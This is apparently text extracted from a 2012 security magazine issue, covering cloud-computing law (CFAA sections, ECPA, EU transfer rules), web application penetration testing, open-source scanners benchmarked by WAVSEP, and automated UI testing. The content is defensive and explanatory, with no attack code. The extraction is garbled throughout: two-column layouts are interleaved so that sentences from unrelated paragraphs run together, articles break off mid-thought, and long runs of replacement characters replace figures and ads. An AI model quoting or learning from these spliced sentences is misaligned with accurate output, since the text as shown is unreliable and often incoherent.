hands. Obviously, the safest approach is to maintain Details are abstracted from end-users, who no
your data under your own control. longer have need for expertise in, or control over, the
The concept of handing sensitive data to another technology infrastructure in the cloud that supports
company worries many people. Is data held somewhere them [Wikipedia].
harmful activity on the cloud. The part of ECPA that covers searches and
seizures on an electronic network is called the Stored
The Computer Fraud & Abuse Act Communications Act (SCA). According to the SCA,
Today, the Computer Fraud and Abuse Act (CFAA) there are two types of network providers:
is one of the principal tools for Combating computer
crime. The CFAA also can be applied to the cloud in Remote computing service (RCS)
the sense that the Act covers protected computers, An RCS is defined as the provision to the public of
which are defined as any computer system used in computer storage or processing services by means of
or affecting interstate or foreign commerce, as well electronic communication service.[18 U.S.C. § 2510(15)]
as any computer system of the federal government
or a financial institution. This can also be made to Electronic communication service (ECS)
include any computer or digital devise connected to the An ECS is any service which provides to users
Internet, even if it is located outside the United States. thereof the ability to send or receive wire or
Thus, servers anywhere in the world that host cloud electronic communications. Electronic storage is any
computing services or resources can be protected by temporary, intermediate storage of a wire or electronic
the Act. communication incidental to the electronic transmission
In addition, several provisions of the CFAA can be thereof, and any storage of such communication by
used to punish harmful activity in the cloud: Table 1. an [ECS] for purposes of backup protection of such
communication.
The Electronic Communications Privacy Act In terms of electronic storage, what is undisputedly
Passed in 1986, the Electronic Communications Privacy included are communications held by a service provider
Act (ECPA) sought to bring the constitutional and and not yet retrieved by a subscriber, such as an
statutory protections against wiretapping of telephonic unopened email.
communications into the computer age.[ECPA] ECPA was
written at a time when network computing was used for Cloud vs. Privacy
two primary purposes. First, network account holders Cloud computing has significant implications for
would use third-party network service providers to send the privacy of personal information as well as for
and receive communications, having the providers hold the confidentiality of business and governmental
the messages until delivery to the user’s computer. information. While storage of user data on remote
Second, account holders used third-parties to outsource servers is not a new activity, the current emphasis
Table 1. CFAA
No Section Description
1 Section 1030(a)(1) Prohibits obtaining or transmitting national security information from a computer.
2 Section 1030(a)(2) Prohibits intentionally gaining unauthorized access and obtaining information from a Computer
3 Section 1030(a)(3) Prohibits trespassing in a nonpublic government Computer
4 Section 1030(a)(4) Prohibits using one’s unauthorized access to a protected computer in order to defraud and thereby
obtain something of value
5 Section 1030(a)(5) Prohibits gaining unauthorized access and causing damage to a protected computer. This can include a
broad range of activities, such as: hacking into databases to delete or alter records; transmitting viruses
or worms that may delete �les, crash computers, or install malicious software; or �ooding a computer’s
Internet connection with junk data, preventing legitimate users from sending or receiving anything with
that computer
6 Section 1030(a)(6) Prohibits trafficking in passwords or similar information that could be used to gain unauthorized access
to a protected computer.
7 Section 1030(a)(7) Prohibits threatening to cause damage to a protected computer with the intent to extort.
Privacy Laws
Every sector has specific laws that deal with the data
they collect store and access. There are federal laws like
Gramm-Leach-Bliley (applicable to financial institutions),
HIPAA (applicable to health care providers and others
dealing with health information and related entities),
COPPA (applicable to data of children under 13 collected
online), and the USA Patriot Act (may be applicable to
foreign companies that work with cloud providers that
allow data to reside in or flow through the US).
By contrast, the European Union has a much more
comprehensive privacy law framework, the EU Data
Protection Directive. Each member state also has its
own unique law implementing the Directive. The most
notable thing about the EU Directive and member state
laws for purposes of cloud computing is this – in the
absence of specific compliance mechanisms, the EU
prohibits (yes, you read correctly, prohibits) the transfer
of personal information of EU residents out of the EU
to the US and the vast majority of countries around the
world. This means if you want to put data in the cloud
that includes personal information of EU residents (and
that might be something as simple as an email address
or employment information), and the data will flow from
the EU to almost anywhere in the world, you cannot
simply throw the data in the cloud and hope for the
best. You need to have, at a minimum International Safe
Harbor Certification, a model contracts which allow data
transfer from the EU to non-EU countries, (but do not
always work well with multi-tiered vendor relationships)
or Binding Corporate Rules which are designed for a
multinational company and therefore may not function
well for cloud provider relationships.
Silver Lining
However there is a hope and looking forward there
are certain suggestions I would like to make in order
to make clouds safer (secure), more private and better
governed.
Conclusion
The long dreamed vision of computing as a utility is
finally emerging. The elasticity of a utility matches
the need of businesses providing services directly to
customers over the Internet, as workloads can grow
(and shrink) far faster than 20 years ago. It used to take
years to grow a business to several million customers –
now it can happen in months. From the cloud provider’s
view, the construction of very large datacenters at low
cost sites using commodity computing, storage, and ABHIJEET PARANDEKAR
networking uncovered the possibility of selling those
resources on a pay-as-you-go model below the costs SAGAR RAHURKAR
of many medium-sized datacenters, while making a Sagar Rahurkar is a Law graduate
profit by statistically multiplexing among a large group and a Certi�ed Fraud Examiner. He is
of customers. From the cloud user’s view, it would be a Senior Consultant at Asian School
as startling for a new software startup to build its own of Cyber Laws. He specializes in
datacenter as it would for a hardware startup to build Cyber Laws, Fraud Investigation and
its own fabrication line. In addition to startups, many Intellectual Property Law related issues.
other established organizations take advantage of He teaches various law enforcement
the elasticity of Cloud Computing regularly, including people, students and international delegates on Cyber
newspapers like the Washington Post, movie companies legal related issues. He is also a member of ASCL Computer
like Pixar, and universities like ours. Emergency Response Team. He regularly provides
Cloud computing is here to stay, yet the journey may consultancy to Corporates, Law Enforcement and Media.
take the model through some stormy waters. The concept He has presented his papers at various conferences like,
will undoubtedly alleviate many issues for countless CyberAttack, NULLCON, c0c0n, International Seminar on
users, yet it will inevitably attract the unscrupulous Cyber Laws organised by Delhi University, etc. He is a regular
like sharks to a feeding frenzy. How vendors deal contributor to various IT-Sec magazines, where he writes on
with this and who they involve in the process will have IT Law related issues. Sagar Rahurkar can be contacted at
significant impact on how those unscrupulous vultures contact@sagarrahurkar.com.
Web
Application Security and Penetration Testing
D
ynamic web applications usually use • Identification of Ports – In this process, ports are
technologies such as ASP, ASP.Net, PHP, scanned, and the associated services running are
Ajax, JSP, Perl, Cold Fusion, Flash, and etc. identified.
These applications expose financial data, customer • Software Services Analyzed – In this process, both
information, and other sensitive and confidential automated, and manual testing is conducted to
data that required authentication and authorization. discover weaknesses.
Ensuring that the web applications are secure is a • Verification of Vulnerabilities – This process helps
critical mission that businesses have to go through to verify that the vulnerabilities are real, where
achieve the desired security level of such applications. weakness might be exploited to help remediate the
With the accessibility of such critical data to the public issues.
domain, web application security testing also becomes • Remediation of Vulnerabilities – In this process,
paramount process for all the web applications that are the vulnerabilities will be resolved and such
exposed to the outside world. vulnerabilities will be re-tested to ensure they have
been addressed.
Introduction
Penetration testing (It is also called Pen Testing) is Part of the initiative of securing the web applications is
usually conducted by ethical hackers where the security to include the security development lifecycle as part of
team reviews application security vulnerabilities to the software development lifecycle where the number
discover potential security risks. Such process requires of security-related design and coding defects can be
a deep knowledge, experience in a variety of different reduced, and also the severity of any defects that
tools, and a range of exploits that can achieve the do remain undetected can be reduced or eliminated.
required tasks. Despite the fact that the above initiatives solve some
During the pen testing different web applications’ of the security problems, some of undiscovered
vulnerabilities are tested (e.g. Input Validation, Buffer defects will remain even in the most scrutinized web
Overflow, Cross Site Scripting, URL Manipulation, applications. Until scanners can harness true artificial
SQL Injection, Cookie Modification, Bypassing intelligence, and put the anomalies into context or
Authentication, and Code Execution). A typical pen make normative judgments about them, the struggle to
testing involves the following procedures: find certain vulnerabilities will exist.
�������������������������������������������������������������������������
THE BEST OF 01/2012 �����������������������������������������
WEB APP PENTESTING
to address 100% of all the technical vulnerabilities, History has proven that software bugs, defects and
there is no reason to believe that such tools will logical flaws are consistently the primary cause of
achieve such goal in the near future. Current problems commonly exploited application software vulnerabilities,
facing the web application tools are the following: where it can lead to unauthorized access to the
client-side generated URLs, required JavaScript systems, networks and application information. It is
functions, application logout, transaction-based also proven that most of the security breaches occur
systems requiring specific user paths, automated form due to vulnerabilities within the web application layer
submission, one time passwords, and Infinite web (i.e. attacks using the HTTP/HTTPS protocol). In such
sites with random URL-based session IDs. attacks, traditional security mechanism such as firewalls
and IDS provide little or no protection against attacks on
Logical Vulnerabilities the web applications.
Where such vulnerabilities can manipulate the logic of Security analyses review the critical components of
the application to do tasks that were never intended a web-based portal, e-commerce application, or web
to be done. While both an automated scanning tool services platform. Part of the analyses work that can be
and skilled penetration tester can navigate through a done is to identify vulnerabilities inherent in the code of
web application, only the latter is able to understand the web application itself regardless of the technology
what the logic behind specific workflow or how the implemented, back-end database or web server used
application works in general. Understanding the logic by the application.
and the flow of an application allows the manual pen It’s imperative to point out that the web application
testing to subvert or overthrow the business logic penetration assessments should be designed based
where security vulnerabilities can be exposed. For upon defined threat-model. It should also be based upon
instance, an application might direct the user from the evaluation of the integration between components
point A to point B to Point C based on the logic flow (e.g. third party components and in-house built
implemented within the application, where point B components) and the overall deployment configuration
represents a security validation check. A manual that represents a solid choice for establishing a
review of the application might show that it is possible baseline security assessment. Application penetration
for attackers to manipulate the web application to go assessments server as a cost-effective mechanism to
directly from point A to point C, and bypassing the identify a set of vulnerabilities in a given application
security validation exists at point B. where it exposes the most likely exploit vulnerabilities,
�������������
��������������������
����������������
��������������
��������������������������
����������������� ��������������������������
�����������������������
�������� ��������������
��������
����������������
��������������
• Zero-Knowledge Test (Black Box) – In such ap- Both types of testing can be conducted with least
proach, the application security testing team will information (black box) and also can be conducted
not have any of inside information about the target with limited information (white box).
Telephone: 0800-160-1161
Interna�onal: +44 1795 436969
Email: sales@itonlinelearning.co.uk
support@itonlinelearning.co.uk
Registered Office: 16 Rose Walk, Si�ngbourne, Kent, ME10 4EW
WEB APP PENTESTING
Open Source
Web Application Security Testing Tools
Needless to say that with cybercrime is on the rise and with the
immense rise in online security threats no business owner should
overlook their website’s security and this is exactly where the
concept of web application security testing tools have gained
immense significance.
I
n fact more than four out of every five businesses There are some powerful and free web application
have experienced a data breach still not all business security testing tools which can help you to identify any
website owners are aware of website security possible holes. In this article we will explore the choice
threats or how vulnerable their website is without of tools available.
the necessary protection. And this is where free web
application security testing tools comes in. Introduction
It goes without saying, websites are vulnerable to online One of the prominent Information Security consultant
security threat and if a website’s server and applications and researcher, Shay Chen has conducted some
are not protected from security vulnerabilities, identities, extensive testing using these tools and has published
credit card information, all billions of dollars are at risk. a benchmarking report in http://sectooladdict.blogspot.c
Quite ideally therefore cost effective security measures om/2011/08/commercial-web-application-scanner.html
needs to be taken, which might entail moving away from using the project WAVSEP.
proprietary client/server applications to web applications Shay Chen’s Project WAVSEP consists of an
which are not only cheap but at the same time provides evaluation platform which aids in the comparison
an extensive delivery platform. of 60 Commercial & Open Source Black Box Web
In fact, impact of an attack on websites can actually Application Vulnerability Scanners. This evaluation
cause costly and embarrassing disruptions in a platform contains a collection of unique vulnerable web
company’s services. And without employing the web pages that can be used to test the various properties
security testing tools business can incur loss. Attackers of web application scanners. This research is only
are lurking everywhere and they are well aware in fact valid for estimating the detection accuracy of SQLi &
aware of the Web application vulnerabilities. Also, their RXSS exposures, and for counting and comparing the
attempts to get at it are thoroughly assisted by several various features of the tested tools. Shay Chen did not
important factors. It is the right time to protect your evaluate every possible feature of each product, only
website with website security audit and with thorough the categories tested within the research.
website security test. A web security testing service will The assessment criterion of detecting the accuracy
in fact make sure that the company is fully compliant of SQL Injection is one of the most famous exposures
with rules and regulations, and is able to respond and the most commonly implemented attack vector in
quickly to any attacks. web application scanners. This because a scanner that
Figure 1. The SQL Injection Detection Accuracy Benchmark Results Figure 2. The Re�ected XSS Detection Accuracy Benchmark Results
Easy to use and Upgrade • File Handling Errors (Local and remote include/
Thanks to a simple design and functionality this require, fopen, readfile…)
application is easy to use. Every single feature of the • Database Injection (PHP/JSP/ASP SQL Injections
application can be extended or customized with the and XPath Injections)
help of customization extensions and plugins. • XSS (Cross Site Scripting) Injection
In Shay Chen’s new security scanner group test • LDAP Injection
WebSecurify ranked 10th out of 38 in the (free tool) SQL • Command Execution detection ( eval(), system(),
Injection Detection Accuracy test, and managed 12th in passtru()…)
the Reflected XSS Detection Accuracy benchmark, • CRLF Injection (HTTP Response Splitting, session
where the program performed considerably better than fixation…)
some big names (Nessus was 34th).
Shay Chen’s security scanner group test ranks Wapiti
Wapiti (Windows, Linux, Mac OS X) as the number one tool for SQL Injection Detection
Wapiti is written in Python and uses a Python library Accuracy test, but only managed 26th in the Reflected
with all the basic functionalities of a scanner and allows XSS Detection Accuracy benchmark.
you to audit the security of your Web applications.
Wapiti is a vulnerability scanner for Web applications Skip�sh (Windows, Linux, Mac OS X)
that search for the vulnerabilities like XSS, SQL and Skipfish is an active Web application security
XPath injections, file inclusions, command execution, reconnaissance tool. It prepares an interactive sitemap
LDAP injections, and CRLF injections for the targeted site by carrying out a recursive crawl
Wapiti finds unknown vulnerabilities in web and dictionary-based probes. The resulting map is then
applications. Wapiti basically performs black-box scans, annotated with the output from a number of active (but
where it only study the source code of the application hopefully non-disruptive) security checks. The final
and scan the webpage’s of the deployed webapp, report generated by the tool is meant to serve as a
looking for scripts and forms where it can inject data. foundation for professional Web application security
Once it gets this list, Wapiti acts like a fuzzer, injecting assessments.
payloads to see if a script is vulnerable. Fuzzing is Skipfish works from dictionary files with the .wl
a method for testing of applications and runs in an extention. According to Skipfish these dictionaries
automated manner. This is the transfer of random data are of critical importance to the quality of your scans.
and verifying what the outcome of this action. The result Each entry in the dictionary is either an extension (e)
or wordlist (w). The dictionaries are used for when a
Internal warnings
Includes failed resource fetch attempts, exceeded
crawl limits, failed 404 behavior checks. IPS filtering
detected, unexpected response variations, seemingly
misclassified crawl nodes.
Arachni uses various techniques such as taint- The major issue here is that selecting ineffective
analysis, fuzzing, differential analysis, and timing/delay security testing tools can be a costly venture. I’ve
attacks along with novel technologies like rDiff analysis burned thousands of dollars and countless hours on
and modular meta-analysis developed specifically tools that seemed like a good fit based on their tricked
for the framework to compensate for the widely out websites and fancy marketing slicks. But talk is
heterogeneous environment of web applications. cheap so buyers beware. You have to take these tools
One of the biggest advantages of Arachni is its highly for a spin to see if they’re going to be a good fit based
modular nature. The framework can be extended on YOUR style inside YOUR environment, and based
indefinitely by the addition of components like path on YOUR business needs.
extractors, modules, plug-ins, or even user interfaces. Whether you’re doing the actual work or just want to
Arachni is not only meant to serve as a security make sure your IT and security staff members are using
scanner but also as a platform for any sort of black what’s best for the organization, the simple truth is that
box testing or data scraping; full-fledged applications good security audit tools can and will make a difference.
can be converted into framework plug-ins so as Always remember that there is no one best tool but if
to take advantage of the framework’s power and you’re smart about your approach you shouldn’t have
resources. Arachni’s flexibility goes so far as to enable to spend a lot of money to get the job done right. If you
system components (like plug-ins) to create their own invest a relatively small amount time researching, asking
component types and reap the benefits of a modular prospective vendors tough questions and actually trying
design as well. the tools before you buy them, then you can’t lose.
Arachni was the only (from a long list of commercial When you choose and use good tools, you’ll know it.
and FOSS systems) that hit 100% on both XSS and Amazingly, you’ll minimize your time and effort installing
SQLi tests in the WAVSEP benchmark. them, running your tests, reporting your results
– everything from start to finish. Most importantly,
Conclusion with a good web vulnerability scanner you’ll be able
Like chemists, carpenters and doctors, those of us to maximize the number of legitimate vulnerabilities
working in IT need good tools if we’re expected to do a discovered to help reduce the risks associated with your
good job. When dealing with application security, good information systems. At the end of the day and over the
security testing tools will always set the professionals long haul, this will add up to considerable business
apart from the amateurs. In fact, the quality of your tools value you can’t afford to overlook.
for performing a site security audit will have a direct
impact on the number of vulnerabilities you discover VINODH VELUSAMY
and the overall success of your testing. Vinodh Velusamy is an ISTQB certi�ed professional currently
Many have argued – myself included – that you cannot working as Quality Assurance Specialist at Verizon’s Security
rely on tools alone to find all security vulnerabilities. Solution Group. He has experience in software testing
This is absolutely correct. In all but the most basic for more than 10 years and has been involved in software
security checks, you have to rely on experience and development for more than 15 years. He has authored
technical knowledge to root out the less-than-obvious articles on open source software tools in online tech websites
vulnerabilities that black-box scanners simply cannot such as freshmeat.net. He has also presented in software
find. That said manual testing alone is just too time testing conferences such as Software and Systems Quality
consuming, limited and, for many, downright difficult. A Conference, Dusseldorf, Germany and ICSSEA Workshop on
good balance of tools and manual analysis is needed. System Testing and Validation, Paris, France.
A Chance
To Ease Automated Web Site Testing
Do We Need Yet Another Language?
C
reative people tend to be bored easily, while The primary reasons for that, being the complexity of
seriously dependable personality often do not the output and its volatility, both being addressed later
leave much space for creativeness. on in this article. As a result, testing an application at the
But we do have another resource that can be utilized UI level, often referred to as ‘beta testing’ is still mainly
for testing: computers. Computers running testing handled by human teams.
programs are almost ultimately focused on completing This also applies to web applications’ security tests,
the requested routine as many times as needed. At which are performed usually by a dedicated group of
the same time they posses almost negligible creativity security specialists, trying to provide the application
when it comes to inventing new testing scenarios. with such data that will cause its malfunction, exposing
Considering these factors, the choice seems quite a vulnerability (an illustrative simplification of course).
obvious. We can utilize automated/computer testing for Security testing is actually an amplified issue of the
the routine part of the tests, while the testing team focuses mundaneness vs creativity problem described above.
on inventing new scenarios. This is indeed the setup the While it often requires lot of knowledge, intelligence
industry has implemented and has been carrying out and cunning to come up with a certain set of parameter
for quite some time. Taking it a step further, there is a values that could break the application, there may also
number of software development methodologies that a lot of dull work involved, especially if the application
implement so called test driven development . In these logs the user out when it recognizes an attack attempt.
methodologies, automated tests gain additional focus, In such case the tester needs to log in again and often
being prepared before the actual development of the go through a few forms until he gets to the point when
target application takes place. Supposedly, this gives the the next attempt can be performed. And then – rinse
application developers tools to instantly verify the results and repeat... often too many times.
of their work, with the ultimate goal of improved overall It would certainly help to automate at least part of the
quality of the produced software. testing, e.g. inputting login data or clicking through web
Yet as usual, the real world proves to be more pages to get to the desired location. It would also be
challenging that initially anticipated. Although automated nice to have an automated system that could recognize
tests are quite often used for testing core application whether while fuzzing [1] parameters, application
functionality (as unit or functional tests), they are rarely entered some unusual state – which may be identified as
implemented for testing the user interface (UI) level. a change of the resultant web page. Unsurprisingly, there
Object names
Object properties
AST Node
Functional matching
Parser
Description
Page graph
Web Page
This allow for aggregation of properties described in methodologies (named agile) that deliberately focus on
separate phrases that relate to the same object. Finally, iterations in development, prototyping etc. and limit formal
the properties that are identified are classified as either descriptions. What I propose here is to take somehow
attributes(which are the properties that are related to similar approach to automated testing. Automated tests
the abject alone) or constrains (that describe relative are relatively expansive to prepare and (unfortunately)
relationship between two object/nodes). often become obsolete with changes to the software they
Independently of the specification, the page supplied test. To increase effectiveness we can either lower the
for testing is analyzed. For this purpose we had chosen cost of preparation, or make sure they remain useful for
an open-source Qt WebKit engine [6]. It allows for loading extended periods of time. The methods proposed here
and rendering of the supplied web page, providing access address both of these aspects. By defining just the key
to the constructed DOM. While traversing the DOM, all elements of the GUI/functionality that need to be tested
the elements of a non-zero physical size are identified. (and eliminating the need to analyze manually the whole
As a result of the web page analysis, a list of objects HTML), the cost of preparation is reduced and the test can
with their properties (retrieved from the DOM), physical survive minor changes to the GUI. Major changes on the
location and size is constructed. The objects constrains other hand require much less effort to adjust to than typical
and properties from the specification analysis and the list HTML parsing methods. Use of a semi-natural language
of objects from the web page traversing is then fed into also lowers the cost of tests’ preparation by not requiring
a comparator that utilizes the described above two-stage specific programming knowledge from the test maker.
matching. Practical experiments show that the matching On the negative side, it seems we loose a perceived
time for the test cases were negligible (most of the time ‘preciseness’ of the tests (since only a few elements are
was spent on retrieving and rendering the web pages). tested and the test constrains can be loose). This can be
The object matcher handles it, the or reuse of object counter-measured by more precise description (it can be
name as reference to previous sentences, the same way of any detail level), although my feeling is that describing
humans do in natural language. The parser also allows every single detail of a complicated web page will often
for multiple properties or relation definitions with the use require more effort than just preparing e.g. a regular
of and and similar constructs. As a result, we can reliably expression match against the page’s HTML code.
tell if any web page supplied for testing fulfills all the From a more general point of view however, it seems
requirements set out in the supplied description. We can that a general trend in software is to increasingly utilize
also execute simple actions like filling in form fields or heuristics, AI, fuzzy logic and similar methods, so a strict
following certain links (e.g. following the link at the bottom control on the software behavior is being sacrificed for
right or submitting the login form). the benefit of functionality, easier development and
new areas of use. Maybe it also signals the time for
Conclusions automated tests to follow this way.
Software in general, and web applications in particular are
constantly growing in size and complexity. This of course MAREK ZACHARA
results in increased difficulty (and cost) of thorough testing, Marek Zachara is an assistant professor at AGH/UST and
and increased number of buggy applications as the final an independent consultant in the �elds of software quality,
outcome. Long time ago, when applications were simple, security and project management. His professional career
it was possible (and rational) to specify all its functionality includes several positions with companies both in Poland
before the development process started. Now its mostly (Ericsson and ComArch) and abroad (IMS Group). He has
not feasible, so software specifications often focus on key obtained a PhD in computer science in 2008.
functionality, leaving minor items to be ironed out during the http://marek.zachara.name
development process. There have even emerged specific email: marek@zachara.name
������������
������������
��������������
�������������������������������������������������������������������������������������������������������������������������
�������������
����������������������������������������������������� ���������������������������������������������������
������������������������������������������������������� ������������������������������������������������������
����������������������������������������������� ����������������������������������������������������
������������������������������������������������ �����������������������������������������������������
��������������������������� ���������������������������������������������������
�������������������������
�������������������������������������������������������
�����������������������
�����������������������������������������������
����������������������� ����������������������������������������������������
��������������������� �����������������������������������������������������
����������������������� ������������������������������������������������������
�������������������� ���������������������������������������������������������
����������������������� ��������������������������������������������������
�������������������� �����������������������������������������������������
���������������������� ���������������������������������������������������
�������������������������� ���������������������������������������������
��������������������������
���������������������������������������������������
����������������������
���������������������������������������������������������
������������������������
���������������������������������������������������������
�����������������������
������������������������������������������������������
���������������������
������������������������������������������������������
�������������������������
���������
��������������������������
������������
������������
��������������
�������������������������������������������������������������������������������������������������������������������������
�������������